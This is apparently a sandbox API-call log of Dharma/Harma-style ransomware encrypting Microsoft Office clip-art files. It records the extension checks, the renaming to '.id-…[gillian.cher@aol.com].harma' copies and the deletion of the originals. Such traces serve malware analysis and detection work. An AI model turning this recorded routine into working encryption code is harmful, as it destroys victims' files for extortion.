[0144.192] lstrlenW (lpString=".pdf") returned 4 [0144.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.192] lstrlenW (lpString=".xls") returned 4 [0144.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.192] lstrlenW (lpString=".xlsx") returned 5 [0144.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.193] lstrlenW (lpString=".ppt") returned 4 [0144.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.193] lstrlenW (lpString=".zip") returned 4 [0144.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.193] lstrlenW (lpString=".rar") returned 4 [0144.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.193] lstrlenW (lpString=".bz2") returned 4 [0144.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.193] lstrlenW (lpString=".7z") returned 3 [0144.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.193] lstrlenW (lpString=".dbf") returned 4 [0144.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.193] lstrlenW (lpString=".1cd") returned 4 [0144.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0144.193] lstrlenW (lpString=".jpg") returned 4 [0144.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.193] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.193] lstrlenW (lpString="BD09194_.WMF") returned 12 [0144.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.194] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=14540) returned 1 [0144.194] CloseHandle (hObject=0x328) returned 1 [0144.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0144.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.194] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.194] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0144.195] GetLastError () returned 0x0 [0144.195] ReadFile (in: hFile=0x328, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0144.216] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0144.217] ReadFile (in: hFile=0x328, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.217] WriteFile (in: hFile=0x210, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.217] SetEndOfFile (hFile=0x210) returned 1 [0144.221] CloseHandle (hObject=0x210) returned 1 [0144.221] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.221] SetEndOfFile (hFile=0x328) returned 1 [0144.224] CloseHandle (hObject=0x328) returned 1 [0144.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString=".doc") returned 4 [0144.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString=".docx") returned 5 [0144.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.482] lstrlenW (lpString=".pdf") returned 4 [0144.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString=".xls") returned 4 [0144.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.482] lstrlenW (lpString=".xlsx") returned 5 [0144.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.482] lstrlenW (lpString=".ppt") returned 4 [0144.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString=".zip") returned 4 [0144.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.482] lstrlenW (lpString=".rar") returned 4 [0144.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString=".bz2") returned 4 [0144.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString=".7z") returned 3 [0144.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString=".dbf") returned 4 [0144.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString=".1cd") returned 4 [0144.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString=".jpg") returned 4 [0144.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.483] lstrlenW (lpString=".doc") returned 4 [0144.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString=".docx") returned 5 [0144.483] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.483] lstrlenW (lpString=".pdf") returned 4 [0144.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString=".xls") returned 4 [0144.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.483] lstrlenW (lpString=".xlsx") returned 5 [0144.483] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.483] lstrlenW (lpString=".ppt") returned 4 [0144.483] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.483] lstrlenW (lpString=".zip") returned 4 [0144.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.483] lstrlenW (lpString=".rar") returned 4 [0144.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString=".bz2") returned 4 [0144.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString=".7z") returned 3 [0144.483] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.483] lstrlenW (lpString=".dbf") returned 4 [0144.483] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.483] lstrlenW (lpString=".1cd") returned 4 [0144.483] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0144.483] lstrlenW (lpString=".jpg") returned 4 [0144.483] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.484] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.484] lstrlenW (lpString="BD19695_.WMF") returned 12 [0144.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.485] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=12982) returned 1 [0144.485] CloseHandle (hObject=0x350) returned 1 [0144.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0144.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.489] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.489] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.492] GetLastError () returned 0x0 [0144.492] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0144.494] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0144.495] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.495] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.495] SetEndOfFile (hFile=0x350) returned 1 [0144.495] CloseHandle (hObject=0x350) returned 1 [0144.495] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.495] SetEndOfFile (hFile=0x2e8) returned 1 [0144.498] CloseHandle (hObject=0x2e8) returned 1 [0144.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0144.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.499] lstrlenW (lpString=".doc") returned 4 [0144.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.499] lstrlenW (lpString=".docx") returned 5 [0144.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.499] lstrlenW (lpString=".pdf") returned 4 [0144.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString=".xls") returned 4 [0144.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.500] lstrlenW (lpString=".xlsx") returned 5 [0144.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.500] lstrlenW (lpString=".ppt") returned 4 [0144.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString=".zip") returned 4 [0144.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.500] lstrlenW (lpString=".rar") returned 4 [0144.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString=".bz2") returned 4 [0144.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString=".7z") returned 3 [0144.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString=".dbf") returned 4 [0144.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString=".1cd") returned 4 [0144.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString=".jpg") returned 4 [0144.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.500] lstrlenW (lpString=".doc") returned 4 [0144.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.500] lstrlenW (lpString=".docx") returned 5 [0144.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.500] lstrlenW (lpString=".pdf") returned 4 [0144.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString=".xls") returned 4 [0144.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.501] lstrlenW (lpString=".xlsx") returned 5 [0144.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.501] lstrlenW (lpString=".ppt") returned 4 [0144.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.501] lstrlenW (lpString=".zip") returned 4 [0144.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.501] lstrlenW (lpString=".rar") returned 4 [0144.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString=".bz2") returned 4 [0144.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString=".7z") returned 3 [0144.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.501] lstrlenW (lpString=".dbf") returned 4 [0144.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.501] lstrlenW (lpString=".1cd") returned 4 [0144.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0144.501] lstrlenW (lpString=".jpg") returned 4 [0144.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.501] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.501] lstrlenW (lpString="BD19827_.WMF") returned 12 [0144.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.502] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9710) returned 1 [0144.502] CloseHandle (hObject=0x2e8) returned 1 [0144.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0144.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0144.503] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.503] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.503] GetLastError () returned 0x0 [0144.503] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0144.505] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0144.506] ReadFile (in: hFile=0x2e8, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.506] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.507] SetEndOfFile (hFile=0x350) returned 1 [0144.507] CloseHandle (hObject=0x350) returned 1 [0144.507] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.507] SetEndOfFile (hFile=0x2e8) returned 1 [0144.511] CloseHandle (hObject=0x2e8) returned 1 [0144.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0144.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.512] lstrlenW (lpString=".doc") returned 4 [0144.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.512] lstrlenW (lpString=".docx") returned 5 [0144.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.512] lstrlenW (lpString=".pdf") returned 4 [0144.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.512] lstrlenW (lpString=".xls") returned 4 [0144.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.512] lstrlenW (lpString=".xlsx") returned 5 [0144.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.513] lstrlenW (lpString=".ppt") returned 4 [0144.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString=".zip") returned 4 [0144.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.513] lstrlenW (lpString=".rar") returned 4 [0144.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString=".bz2") returned 4 [0144.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString=".7z") returned 3 [0144.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString=".dbf") returned 4 [0144.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString=".1cd") returned 4 [0144.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString=".jpg") returned 4 [0144.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.513] lstrlenW (lpString=".doc") returned 4 [0144.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString=".docx") returned 5 [0144.513] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.513] lstrlenW (lpString=".pdf") returned 4 [0144.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.513] lstrlenW (lpString=".xls") returned 4 [0144.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.513] lstrlenW (lpString=".xlsx") returned 5 [0144.513] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.514] lstrlenW (lpString=".ppt") returned 4 [0144.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0144.514] lstrlenW (lpString=".zip") returned 4 [0144.514] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.514] 